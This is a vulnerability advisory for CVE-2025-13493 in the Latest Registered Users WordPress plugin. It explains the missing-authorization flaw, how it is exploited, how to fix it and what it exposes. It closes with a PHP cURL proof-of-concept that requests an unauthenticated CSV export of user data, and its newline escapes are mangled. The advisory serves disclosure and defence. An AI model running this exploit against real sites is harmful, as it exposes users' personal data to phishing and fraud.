Atomic Edge analysis of CVE-2025-13493 (metadata-based):
This vulnerability in the Latest Registered Users WordPress plugin (versions <=1.4) allows unauthenticated attackers to export a complete list of user data in CSV format. The flaw resides in a form submission handler that lacks proper access controls, leading to a high-severity information disclosure issue.
Atomic Edge research identifies the root cause as a Missing Authorization (CWE-862) flaw in the `rnd_handle_form_submit` function. The vulnerability description confirms this function is incorrectly hooked to both privileged (`admin_post_my_simple_form`) and non-privileged (`admin_post_nopriv_my_simple_form`) WordPress actions. This architectural error allows the function to process requests from any user. The description also confirms missing nonce validation, removing a standard WordPress security mechanism. Atomic Edge analysis infers, but cannot confirm from code, that the function likely performs no capability checks (e.g., `current_user_can()`) before executing its core data export logic.
Exploitation involves sending a POST request to the WordPress admin-post.php endpoint with a specific action parameter. Attackers target `/wp-admin/admin-post.php` and set the `action` parameter to `my_simple_form`. No authentication cookies or nonce tokens are required. The vulnerable function then executes, generating and likely forcing a download of a CSV file containing user registration details, email addresses, and other profile data, excluding passwords and sensitive tokens.
Remediation requires implementing proper authorization and WordPress security patterns. The plugin must remove the `admin_post_nopriv_my_simple_form` hook to prevent unauthenticated access. The function must add a capability check, such as `current_user_can('list_users')` or a custom capability, to ensure only authorized administrators can trigger the export. Nonce verification should also be added to the form processing logic to prevent CSRF attacks. These changes would align the endpoint with WordPress core security standards for administrative data exports.
The impact of successful exploitation is significant unauthorized information disclosure. Attackers can harvest the full list of registered users, including usernames, display names, email addresses, and registration dates. This data facilitates targeted phishing campaigns, credential stuffing attacks, and social engineering. The exposure of email addresses may also violate privacy regulations. The CVSS score of 7.5 (High) reflects the complete loss of confidentiality (C:H) with no impact to integrity or availability, occurring over the network with low attack complexity and no user interaction required.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13493 - Latest Registered Users <= 1.4 - Missing Authorization to Unauthenticated Sensitive Information Exposure via User Data Export
<?php
/**
* Proof of Concept for CVE-2025-13493.
* This script exploits the missing authorization in the Latest Registered Users plugin
* to trigger an unauthenticated export of user data via the admin-post.php endpoint.
* Assumptions based on vulnerability description:
* 1. The vulnerable endpoint is /wp-admin/admin-post.php.
* 2. The required parameter is 'action' with value 'my_simple_form'.
* 3. The request method is POST.
* 4. No authentication or nonce is required.
*/
$target_url = 'https://example.com/wp-admin/admin-post.php'; // CHANGE THIS
// Initialize cURL session
$ch = curl_init();
// Set the target URL
curl_setopt($ch, CURLOPT_URL, $target_url);
// Use POST method with the required action parameter
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ['action' => 'my_simple_form']);
// Capture the response (likely a CSV file)
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Follow redirects if the plugin issues one to force a file download
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Optional: Set a user-agent to mimic a real browser
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Atomic Edge PoC)');
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
// Check if the response appears to be a CSV file
if ($http_code == 200 && !empty($response)) {
$first_line = strtok($response, "n");
if (strpos($first_line, ',') !== false || strpos($first_line, 'username') !== false) {
echo "[SUCCESS] Potential CSV data received. First line:n";
echo $first_line . "n";
// In a real exploit, you would save $response to a file.
} else {
echo "[INFO] Response received but does not appear to be CSV.n";
echo "Sample output (first 500 chars):n" . substr($response, 0, 500) . "n";
}
} else {
echo "[INFO] No CSV data received. The endpoint may be patched or unavailable.n";
}
}
// Close cURL session
curl_close($ch);
?>
